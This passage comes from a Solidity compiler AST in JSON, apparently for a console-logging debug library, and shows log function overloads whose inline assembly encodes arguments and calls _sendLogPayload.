":"244262:2:22","valueSize":1},{"declaration":41788,"isOffset":false,"isSlot":false,"src":"244228:2:22","valueSize":1}],"id":41812,"nodeType":"InlineAssembly","src":"243435:840:22"},{"expression":{"arguments":[{"hexValue":"30783163","id":41814,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"244300:4:22","typeDescriptions":{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},"value":"0x1c"},{"hexValue":"30786334","id":41815,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"244306:4:22","typeDescriptions":{"typeIdentifier":"t_rational_196_by_1","typeString":"int_const 196"},"value":"0xc4"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},{"typeIdentifier":"t_rational_196_by_1","typeString":"int_const 196"}],"id":41813,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33551,"src":"244284:15:22","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_uint256_$_t_uint256_$returns$__$","typeString":"function (uint256,uint256) pure"}},"id":41816,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"244284:27:22","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":41817,"nodeType":"ExpressionStatement","src":"244284:27:22"},{"AST":{"nativeSrc":"244330:214:22","nodeType":"YulBlock","src":"244330:214:22","statements":[{"expression":{"arguments":[{"kind":"number","nativeSrc":"244351:4:22","nodeType":"YulLiteral","src":"244351:4:22","type":"","value":"0x00"},{"name":"m0","nativeSrc":"244357:2:22","nodeType":"YulIdentifier","src":"244357:2:22"}],"functionName":{"name":"mstore","nativeSrc":"244344:6:22","nodeType":"YulIdentifier","src":"244344:6:22"},"nativeSrc":"244344:16:22","nodeType":"YulFunctionCall","src":"244344:16:22"},"nativeSrc":"244344:16:22","nodeType":"YulExpressionStatement","src":"244344:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"244380:4:22","nodeType":"YulLiteral","src":"244380:4:22","type":"","value":"0x20"},{"name":"m1","nativeSrc":"244386:2:22","nodeType":"YulIdentifier","src":"244386:2:22"}],"functionName":{"name":"mstore","nativeSrc":"244373:6:22","nodeType":"YulIdentifier","src":"244373:6:22"},"nativeSrc":"244373:16:22","nodeType":"YulFunctionCall","src":"244373:16:22"},"nativeSrc":"244373:16:22","nodeType":"YulExpressionStatement","src":"244373:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"244409:4:22","nodeType":"YulLiteral","src":"244409:4:22","type":"","value":"0x40"},{"name":"m2","nativeSrc":"244415:2:22","nodeType":"YulIdentifier","src":"244415:2:22"}],"functionName":{"name":"mstore","nativeSrc":"244402:6:22","nodeType":"YulIdentifier","src":"244402:6:22"},"nativeSrc":"244402:16:22","nodeType":"YulFunctionCall","src":"244402:16:22"},"nativeSrc":"244402:16:22","nodeType":"YulExpressionStatement","src":"244402:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"244438:4:22","nodeType":"YulLiteral","src":"244438:4:22","type":"","value":"0x60"},{"name":"m3","nativeSrc":"244444:2:22","nodeType":"YulIdentifier","src":"244444:2:22"}],"functionName":{"name":"mstore","nativeSrc":"244431:6:22","nodeType":"YulIdentifier","src":"244431:6:22"},"nativeSrc":"244431:16:22","nodeType":"YulFunctionCall","src":"244431:16:22"},"nativeSrc":"244431:16:22","nodeType":"YulExpressionStatement","src":"244431:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"244467:4:22","nodeType":"YulLiteral","src":"244467:4:22","type":"","value":"0x80"},{"name":"m4","nativeSrc":"244473:2:22","nodeType":"YulIdentifier","src":"244473:2:22"}],"functionName":{"name":"mstore","nativeSrc":"244460:6:22","nodeType":"YulIdentifier","src":"244460:6:22"},"nativeSrc":"244460:16:22","nodeType":"YulFunctionCall","src":"244460:16:22"},"nativeSrc":"244460:16:22","nodeType":"YulExpressionStatement","src":"244460:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"244496:4:22","nodeType":"YulLiteral","src":"244496:4:22","type":"","value":"0xa0"},{"name":"m5","nativeSrc":"244502:2:22","nodeType":"YulIdentifier","src":"244502:2:22"}],"functionName":{"name":"mstore","nativeSrc":"244489:6:22","nodeType":"YulIdentifier","src":"244489:6:22"},"nativeSrc":"244489:16:22","nodeType":"YulFunctionCall","src":"244489:16:22"},"nativeSrc":"244489:16:22","nodeType":"YulExpressionStatement","src":"244489:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"244525:4:22","nodeType":"YulLiteral","src":"244525:4:22","type":"","value":"0xc0"},{"name":"m6","nativeSrc":"244531:2:22","nodeType":"YulIdentifier","src":"244531:2:22"}],"functionName":{"name":"mstore","nativeSrc":"244518:6:22","nodeType":"YulIdentifier","src":"244518:6:22"},"nativeSrc":"244518:16:22","nodeType":"YulFunctionCall","src":"244518:16:22"},"nativeSrc":"244518:16:22","nodeType":"YulExpressionStatement","src":"244518:16:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":41792,"isOffset":false,"isSlot":false,"src":"244357:2:22","valueSize":1},{"declaration":41795,"isOffset":false,"isSlot":false,"src":"244386:2:22","valueSize":1},{"declaration":41798,"isOffset":false,"isSlot":false,"src":"244415:2:22","valueSize":1},{"declaration":41801,"isOffset":false,"isSlot":false,"src":"244444:2:22","valueSize":1},{"declaration":41804,"isOffset":false,"isSlot":false,"src":"244473:2:22","valueSize":1},{"declaration":41807,"isOffset":false,"isSlot":false,"src":"244502:2:22","valueSize":1},{"declaration":41810,"isOffset":false,"isSlot":false,"src":"244531:2:22","valueSize":1}],"id":41818,"nodeType":"InlineAssembly","src":"244321:223:22"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"243219:3:22","parameters":{"id":41789,"nodeType":"ParameterList","parameters":[{"constant":false,"id":41782,"mutability":"mutable","name":"p0","nameLocation":"243231:2:22","nodeType":"VariableDeclaration","scope":41820,"src":"243223:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":41781,"name":"uint256","nodeType":"ElementaryTypeName","src":"243223:7:22","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":41784,"mutability":"mutable","name":"p1","nameLocation":"243243:2:22","nodeType":"VariableDeclaration","scope":41820,"src":"243235:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":41783,"name":"address","nodeType":"ElementaryTypeName","src":"243235:7:22","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":41786,"mutability":"mutable","name":"p2","nameLocation":"243255:2:22","nodeType":"VariableDeclaration","scope":41820,"src":"243247:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":41785,"name":"bytes32","nodeType":"ElementaryTypeName","src":"243247:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"},{"constant":false,"id":41788,"mutability":"mutable","name":"p3","nameLocation":"243267:2:22","nodeType":"VariableDeclaration","scope":41820,"src":"243259:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":41787,"name":"uint256","nodeType":"ElementaryTypeName","src":"243259:7:22","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"243222:48:22"},"returnParameters":{"id":41790,"nodeType":"ParameterList","parameters":[],"src":"243285:0:22"},"scope":46587,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":41866,"nodeType":"FunctionDefinition","src":"244556:1536:22","nodes":[],"body":{"id":41865,"nodeType":"Block","src":"244631:1461:22","nodes":[],"statements":[{"assignments":[41832],"declarations":[{"constant":false,"id":41832,"mutability":"mutable","name":"m0","nameLocation":"244649:2:22","nodeType":"VariableDeclaration","scope":41865,"src":"244641:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":41831,"name":"bytes32","nodeType":"ElementaryTypeName","src":"244641:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":41833,"nodeType":"VariableDeclarationStatement","src":"244641:10:22"},{"assignments":[41835],"declarations":[{"constant":false,"id":41835,"mutability":"mutable","name":"m1","nameLocation":"244669:2:22","nodeType":"VariableDeclaration","scope":41865,"src":"244661:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":41834,"name":"bytes32","nodeType":"ElementaryTypeName","src":"244661:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":41836,"nodeType":"VariableDeclarationStatement","src":"244661:10:22"},{"assignments":[41838],"declarations":[{"constant":false,"id":41838,"mutability":"mutable","name":"m2","nameLocation":"244689:2:22","nodeType":"VariableDeclaration","scope":41865,"src":"244681:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":41837,"name":"bytes32","nodeType":"ElementaryTypeName","src":"244681:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":41839,"nodeType":"VariableDeclarationStatement","src":"244681:10:22"},{"assignments":[41841],"declarations":[{"constant":false,"id":41841,"mutability":"mutable","name":"m3","nameLocation":"244709:2:22","nodeType":"VariableDeclaration","scope":41865,"src":"244701:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":41840,"name":"bytes32","nodeType":"ElementaryTypeName","src":"244701:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":41842,"nodeType":"VariableDeclarationStatement","src":"244701:10:22"},{"assignments":[41844],"declarations":[{"constant":false,"id":41844,"mutability":"mutable","name":"m4","nameLocation":"244729:2:22","nodeType":"VariableDeclaration","scope":41865,"src":"244721:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":41843,"name":"bytes32","nodeType":"ElementaryTypeName","src":"244721:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":41845,"nodeType":"VariableDeclarationStatement","src":"244721:10:22"},{"assignments":[41847],"declarations":[{"constant":false,"id":41847,"mutability":"mutable","name":"m5","nameLocation":"244749:2:22","nodeType":"VariableDeclaration","scope":41865,"src":"244741:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":41846,"name":"bytes32","nodeType":"ElementaryTypeName","src":"244741:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":41848,"nodeType":"VariableDeclarationStatement","src":"244741:10:22"},{"assignments":[41850],"declarations":[{"constant":false,"id":41850,"mutability":"mutable","name":"m6","nameLocation":"244769:2:22","nodeType":"VariableDeclaration","scope":41865,"src":"244761:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":41849,"name":"bytes32","nodeType":"ElementaryTypeName","src":"244761:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":41851,"nodeType":"VariableDeclarationStatement","src":"244761:10:22"},{"assignments":[41853],"declarations":[{"constant":false,"id":41853,"mutability":"mutable","name":"m7","nameLocation":"244789:2:22","nodeType":"VariableDeclaration","scope":41865,"src":"244781:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":41852,"name":"bytes32","nodeType":"ElementaryTypeName","src":"244781:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":41854,"nodeType":"VariableDeclarationStatement","src":"244781:10:22"},{"assignments":[41856],"declarations":[{"constant":false,"id":41856,"mutability":"mutable","name":"m8","nameLocation":"244809:2:22","nodeType":"VariableDeclaration","scope":41865,"src":"244801:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":41855,"name":"bytes32","nodeType":"ElementaryTypeName","src":"244801:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":41857,"nodeType":"VariableDeclarationStatement","src":"244801:10:22"},{"AST":{"nativeSrc":"244830:927:22","nodeType":"YulBlock","src":"244830:927:22","statements":[{"body":{"nativeSrc":"244873:313:22","nodeType":"YulBlock","src":"244873:313:22","statements":[{"nativeSrc":"244891:15:22","nodeType":"YulVariableDeclaration","src":"244891:15:22","value":{"kind":"number","nativeSrc":"244905:1:22","nodeType":"YulLiteral","src":"244905:1:22","type":"","value":"0"},"variables":[{"name":"length","nativeSrc":"244895:6:22","nodeType":"YulTypedName","src":"244895:6:22","type":""}]},{"body":{"nativeSrc":"244976:40:22","nodeType":"YulBlock","src":"244976:40:22","statements":[{"body":{"nativeSrc":"245005:9:22","nodeType":"YulBlock","src":"245005:9:22","statements":[{"nativeSrc":"245007:5:22","nodeType":"YulBreak","src":"245007:5:22"}]},"condition":{"arguments":[{"arguments":[{"name":"length","nativeSrc":"244993:6:22","nodeType":"YulIdentifier","src":"244993:6:22"},{"name":"w","nativeSrc":"245001:1:22","nodeType":"YulIdentifier","src":"245001:1:22"}],"functionName":{"name":"byte","nativeSrc":"244988:4:22","nodeType":"YulIdentifier","src":"244988:4:22"},"nativeSrc":"244988:15:22","nodeType":"YulFunctionCall","src":"244988:15:22"}],"functionName":{"name":"iszero","nativeSrc":"244981:6:22","nodeType":"YulIdentifier","src":"244981:6:22"},"nativeSrc":"244981:23:22","nodeType":"YulFunctionCall","src":"244981:23:22"},"nativeSrc":"244978:36:22","nodeType":"YulIf","src":"244978:36:22"}]},"condition":{"arguments":[{"name":"length","nativeSrc":"244933:6:22","nodeType":"YulIdentifier","src":"244933:6:22"},{"kind":"number","nativeSrc":"244941:4:22","nodeType":"YulLiteral","src":"244941:4:22","type":"","value":"0x20"}],"functionName":{"name":"lt","nativeSrc":"244930:2:22","nodeType":"YulIdentifier","src":"244930:2:22"},"nativeSrc":"244930:16:22","nodeType":"YulFunctionCall","src":"244930:16:22"},"nativeSrc":"244923:93:22","nodeType":"YulForLoop","post":{"nativeSrc":"244947:28:22","nodeType":"YulBlock","src":"244947:28:22","statements":[{"nativeSrc":"244949:24:22","nodeType":"YulAssignment","src":"244949:24:22","value":{"arguments":[{"name":"length","nativeSrc":"244963:6:22","nodeType":"YulIdentifier","src":"244963:6:22"},{"kind":"number","nativeSrc":"244971:1:22","nodeType":"YulLiteral","src":"244971:1:22","type":"","value":"1"}],"functionName":{"name":"add","nativeSrc":"244959:3:22","nodeType":"YulIdentifier","src":"244959:3:22"},"nativeSrc":"244959:14:22","nodeType":"YulFunctionCall","src":"244959:14:22"},"variableNames":[{"name":"length","nativeSrc":"244949:6:22","nodeType":"YulIdentifier","src":"244949:6:22"}]}]},"pre":{"nativeSrc":"244927:2:22","nodeType":"YulBlock","src":"244927:2:22","statements":[]},"src":"244923:93:22"},{"expression":{"arguments":[{"name":"pos","nativeSrc":"245040:3:22","nodeType":"YulIdentifier","src":"245040:3:22"},{"name":"length","nativeSrc":"245045:6:22","nodeType":"YulIdentifier","src":"245045:6:22"}],"functionName":{"name":"mstore","nativeSrc":"245033:6:22","nodeType":"YulIdentifier","src":"245033:6:22"},"nativeSrc":"245033:19:22","nodeType":"YulFunctionCall","src":"245033:19:22"},"nativeSrc":"245033:19:22","nodeType":"YulExpressionStatement","src":"245033:19:22"},{"nativeSrc":"245069:37:22","nodeType":"YulVariableDeclaration","src":"245069:37:22","value":{"arguments":[{"kind":"number","nativeSrc":"245086:3:22","nodeType":"YulLiteral","src":"245086:3:22","type":"","value":"256"},{"arguments":[{"kind":"number","nativeSrc":"245095:1:22","nodeType":"YulLiteral","src":"245095:1:22","type":"","value":"3"},{"name":"length","nativeSrc":"245098:6:22","nodeType":"YulIdentifier","src":"245098:6:22"}],"functionName":{"name":"shl","nativeSrc":"245091:3:22","nodeType":"YulIdentifier","src":"245091:3:22"},"nativeSrc":"245091:14:22","nodeType":"YulFunctionCall","src":"245091:14:22"}],"functionName":{"name":"sub","nativeSrc":"245082:3:22","nodeType":"YulIdentifier","src":"245082:3:22"},"nativeSrc":"245082:24:22","nodeType":"YulFunctionCall","src":"245082:24:22"},"variables":[{"name":"shift","nativeSrc":"245073:5:22","nodeType":"YulTypedName","src":"245073:5:22","type":""}]},{"expression":{"arguments":[{"arguments":[{"name":"pos","nativeSrc":"245134:3:22","nodeType":"YulIdentifier","src":"245134:3:22"},{"kind":"number","nativeSrc":"245139:4:22","nodeType":"YulLiteral","src":"245139:4:22","type":"","value":"0x20"}],"functionName":{"name":"add","nativeSrc":"245130:3:22","nodeType":"YulIdentifier","src":"245130:3:22"},"nativeSrc":"245130:14:22","nodeType":"YulFunctionCall","src":"245130:14:22"},{"arguments":[{"name":"shift","nativeSrc":"245150:5:22","nodeType":"YulIdentifier","src":"245150:5:22"},{"arguments":[{"name":"shift","nativeSrc":"245161:5:22","nodeType":"YulIdentifier","src":"245161:5:22"},{"name":"w","nativeSrc":"245168:1:22","nodeType":"YulIdentifier","src":"245168:1:22"}],"functionName":{"name":"shr","nativeSrc":"245157:3:22","nodeType":"YulIdentifier","src":"245157:3:22"},"nativeSrc":"245157:13:22","nodeType":"YulFunctionCall","src":"245157:13:22"}],"functionName":{"name":"shl","nativeSrc":"245146:3:22","nodeType":"YulIdentifier","src":"245146:3:22"},"nativeSrc":"245146:25:22","nodeType":"YulFunctionCall","src":"245146:25:22"}],"functionName":{"name":"mstore","nativeSrc":"245123:6:22","nodeType":"YulIdentifier","src":"245123:6:22"},"nativeSrc":"245123:49:22","nodeType":"YulFunctionCall","src":"245123:49:22"},"nativeSrc":"245123:49:22","nodeType":"YulExpressionStatement","src":"245123:49:22"}]},"name":"writeString","nativeSrc":"244844:342:22","nodeType":"YulFunctionDefinition","parameters":[{"name":"pos","nativeSrc":"244865:3:22","nodeType":"YulTypedName","src":"244865:3:22","type":""},{"name":"w","nativeSrc":"244870:1:22","nodeType":"YulTypedName","src":"244870:1:22","type":""}],"src":"244844:342:22"},{"nativeSrc":"245199:17:22","nodeType":"YulAssignment","src":"245199:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"245211:4:22","nodeType":"YulLiteral","src":"245211:4:22","type":"","value":"0x00"}],"functionName":{"name":"mload","nativeSrc":"245205:5:22","nodeType":"YulIdentifier","src":"245205:5:22"},"nativeSrc":"245205:11:22","nodeType":"YulFunctionCall","src":"245205:11:22"},"variableNames":[{"name":"m0","nativeSrc":"245199:2:22","nodeType":"YulIdentifier","src":"245199:2:22"}]},{"nativeSrc":"245229:17:22","nodeType":"YulAssignment","src":"245229:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"245241:4:22","nodeType":"YulLiteral","src":"245241:4:22","type":"","value":"0x20"}],"functionName":{"name":"mload","nativeSrc":"245235:5:22","nodeType":"YulIdentifier","src":"245235:5:22"},"nativeSrc":"245235:11:22","nodeType":"YulFunctionCall","src":"245235:11:22"},"variableNames":[{"name":"m1","nativeSrc":"245229:2:22","nodeType":"YulIdentifier","src":"245229:2:22"}]},{"nativeSrc":"245259:17:22","nodeType":"YulAssignment","src":"245259:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"245271:4:22","nodeType":"YulLiteral","src":"245271:4:22","type":"","value":"0x40"}],"functionName":{"name":"mload","nativeSrc":"245265:5:22","nodeType":"YulIdentifier","src":"245265:5:22"},"nativeSrc":"245265:11:22","nodeType":"YulFunctionCall","src":"245265:11:22"},"variableNames":[{"name":"m2","nativeSrc":"245259:2:22","nodeType":"YulIdentifier","src":"245259:2:22"}]},{"nativeSrc":"245289:17:22","nodeType":"YulAssignment","src":"245289:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"245301:4:22","nodeType":"YulLiteral","src":"245301:4:22","type":"","value":"0x60"}],"functionName":{"name":"mload","nativeSrc":"245295:5:22","nodeType":"YulIdentifier","src":"245295:5:22"},"nativeSrc":"245295:11:22","nodeType":"YulFunctionCall","src":"245295:11:22"},"variableNames":[{"name":"m3","nativeSrc":"245289:2:22","nodeType":"YulIdentifier","src":"245289:2:22"}]},{"nativeSrc":"245319:17:22","nodeType":"YulAssignment","src":"245319:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"245331:4:22","nodeType":"YulLiteral","src":"245331:4:22","type":"","value":"0x80"}],"functionName":{"name":"mload","nativeSrc":"245325:5:22","nodeType":"YulIdentifier","src":"245325:5:22"},"nativeSrc":"245325:11:22","nodeType":"YulFunctionCall","src":"245325:11:22"},"variableNames":[{"name":"m4","nativeSrc":"245319:2:22","nodeType":"YulIdentifier","src":"245319:2:22"}]},{"nativeSrc":"245349:17:22","nodeType":"YulAssignment","src":"245349:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"245361:4:22","nodeType":"YulLiteral","src":"245361:4:22","type":"","value":"0xa0"}],"functionName":{"name":"mload","nativeSrc":"245355:5:22","nodeType":"YulIdentifier","src":"245355:5:22"},"nativeSrc":"245355:11:22","nodeType":"YulFunctionCall","src":"245355:11:22"},"variableNames":[{"name":"m5","nativeSrc":"245349:2:22","nodeType":"YulIdentifier","src":"245349:2:22"}]},{"nativeSrc":"245379:17:22","nodeType":"YulAssignment","src":"245379:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"245391:4:22","nodeType":"YulLiteral","src":"245391:4:22","type":"","value":"0xc0"}],"functionName":{"name":"mload","nativeSrc":"245385:5:22","nodeType":"YulIdentifier","src":"245385:5:22"},"nativeSrc":"245385:11:22","nodeType":"YulFunctionCall","src":"245385:11:22"},"variableNames":[{"name":"m6","nativeSrc":"245379:2:22","nodeType":"YulIdentifier","src":"245379:2:22"}]},{"nativeSrc":"245409:17:22","nodeType":"YulAssignment","src":"245409:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"245421:4:22","nodeType":"YulLiteral","src":"245421:4:22","type":"","value":"0xe0"}],"functionName":{"name":"mload","nativeSrc":"245415:5:22","nodeType":"YulIdentifier","src":"245415:5:22"},"nativeSrc":"245415:11:22","nodeType":"YulFunctionCall","src":"245415:11:22"},"variableNames":[{"name":"m7","nativeSrc":"245409:2:22","nodeType":"YulIdentifier","src":"245409:2:22"}]},{"nativeSrc":"245439:18:22","nodeType":"YulAssignment","src":"245439:18:22","value":{"arguments":[{"kind":"number","nativeSrc":"245451:5:22","nodeType":"YulLiteral","src":"245451:5:22","type":"","value":"0x100"}],"functionName":{"name":"mload","nativeSrc":"245445:5:22","nodeType":"YulIdentifier","src":"245445:5:22"},"nativeSrc":"245445:12:22","nodeType":"YulFunctionCall","src":"245445:12:22"},"variableNames":[{"name":"m8","nativeSrc":"245439:2:22","nodeType":"YulIdentifier","src":"245439:2:22"}]},{"expression":{"arguments":[{"kind":"number","nativeSrc":"245542:4:22","nodeType":"YulLiteral","src":"245542:4:22","type":"","value":"0x00"},{"kind":"number","nativeSrc":"245548:10:22","nodeType":"YulLiteral","src":"245548:10:22","type":"","value":"0x3e128ca3"}],"functionName":{"name":"mstore","nativeSrc":"245535:6:22","nodeType":"YulIdentifier","src":"245535:6:22"},"nativeSrc":"245535:24:22","nodeType":"YulFunctionCall","src":"245535:24:22"},"nativeSrc":"245535:24:22","nodeType":"YulExpressionStatement","src":"245535:24:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"245579:4:22","nodeType":"YulLiteral","src":"245579:4:22","type":"","value":"0x20"},{"name":"p0","nativeSrc":"245585:2:22","nodeType":"YulIdentifier","src":"245585:2:22"}],"functionName":{"name":"mstore","nativeSrc":"245572:6:22","nodeType":"YulIdentifier","src":"245572:6:22"},"nativeSrc":"245572:16:22","nodeType":"YulFunctionCall","src":"245572:16:22"},"nativeSrc":"245572:16:22","nodeType":"YulExpressionStatement","src":"245572:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"245608:4:22","nodeType":"YulLiteral","src":"245608:4:22","type":"","value":"0x40"},{"name":"p1","nativeSrc":"245614:2:22","nodeType":"YulIdentifier","src":"245614:2:22"}],"functionName":{"name":"mstore","nativeSrc":"245601:6:22","nodeType":"YulIdentifier","src":"245601:6:22"},"nativeSrc":"245601:16:22","nodeType":"YulFunctionCall","src":"245601:16:22"},"nativeSrc":"245601:16:22","nodeType":"YulExpressionStatement","src":"245601:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"245637:4:22","nodeType":"YulLiteral","src":"245637:4:22","type":"","value":"0x60"},{"kind":"number","nativeSrc":"245643:4:22","nodeType":"YulLiteral","src":"245643:4:22","type":"","value":"0x80"}],"functionName":{"name":"mstore","nativeSrc":"245630:6:22","nodeType":"YulIdentifier","src":"245630:6:22"},"nativeSrc":"245630:18:22","nodeType":"YulFunctionCall","src":"245630:18:22"},"nativeSrc":"245630:18:22","nodeType":"YulExpressionStatement","src":"245630:18:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"245668:4:22","nodeType":"YulLiteral","src":"245668:4:22","type":"","value":"0x80"},{"kind":"number","nativeSrc":"245674:4:22","nodeType":"YulLiteral","src":"245674:4:22","type":"","value":"0xc0"}],"functionName":{"name":"mstore","nativeSrc":"245661:6:22","nodeType":"YulIdentifier","src":"245661:6:22"},"nativeSrc":"245661:18:22","nodeType":"YulFunctionCall","src":"245661:18:22"},"nativeSrc":"245661:18:22","nodeType":"YulExpressionStatement","src":"245661:18:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"245704:4:22","nodeType":"YulLiteral","src":"245704:4:22","type":"","value":"0xa0"},{"name":"p2","nativeSrc":"245710:2:22","nodeType":"YulIdentifier","src":"245710:2:22"}],"functionName":{"name":"writeString","nativeSrc":"245692:11:22","nodeType":"YulIdentifier","src":"245692:11:22"},"nativeSrc":"245692:21:22","nodeType":"YulFunctionCall","src":"245692:21:22"},"nativeSrc":"245692:21:22","nodeType":"YulExpressionStatement","src":"245692:21:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"245738:4:22","nodeType":"YulLiteral","src":"245738:4:22","type":"","value":"0xe0"},{"name":"p3","nativeSrc":"245744:2:22","nodeType":"YulIdentifier","src":"245744:2:22"}],"functionName":{"name":"writeString","nativeSrc":"245726:11:22","nodeType":"YulIdentifier","src":"245726:11:22"},"nativeSrc":"245726:21:22","nodeType":"YulFunctionCall","src":"245726:21:22"},"nativeSrc":"245726:21:22","nodeType":"YulExpressionStatement","src":"245726:21:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":41832,"isOffset":false,"isSlot":false,"src":"245199:2:22","valueSize":1},{"declaration":41835,"isOffset":false,"isSlot":false,"src":"245229:2:22","valueSize":1},{"declaration":41838,"isOffset":false,"isSlot":false,"src":"245259:2:22","valueSize":1},{"declaration":41841,"isOffset":false,"isSlot":false,"src":"245289:2:22","valueSize":1},{"declaration":41844,"isOffset":false,"isSlot":false,"src":"245319:2:22","valueSize":1},{"declaration":41847,"isOffset":false,"isSlot":false,"src":"245349:2:22","valueSize":1},{"declaration":41850,"isOffset":false,"isSlot":false,"src":"245379:2:22","valueSize":1},{"declaration":41853,"isOffset":false,"isSlot":false,"src":"245409:2:22","valueSize":1},{"declaration":41856,"isOffset":false,"isSlot":false,"src":"245439:2:22","valueSize":1},{"declaration":41822,"isOffset":false,"isSlot":false,"src":"245585:2:22","valueSize":1},{"declaration":41824,"isOffset":false,"isSlot":false,"src":"245614:2:22","valueSize":1},{"declaration":41826,"isOffset":false,"isSlot":false,"src":"245710:2:22","valueSize":1},{"declaration":41828,"isOffset":false,"isSlot":false,"src":"245744:2:22","valueSize":1}],"id":41858,"nodeType":"InlineAssembly","src":"244821:936:22"},{"expression":{"arguments":[{"hexValue":"30783163","id":41860,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"245782:4:22","typeDescriptions":{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},"value":"0x1c"},{"hexValue":"3078313034","id":41861,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"245788:5:22","typeDescriptions":{"typeIdentifier":"t_rational_260_by_1","typeString":"int_const 260"},"value":"0x104"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},{"typeIdentifier":"t_rational_260_by_1","typeString":"int_const 260"}],"id":41859,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33551,"src":"245766:15:22","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_uint256_$_t_uint256_$returns$__$","typeString":"function (uint256,uint256) 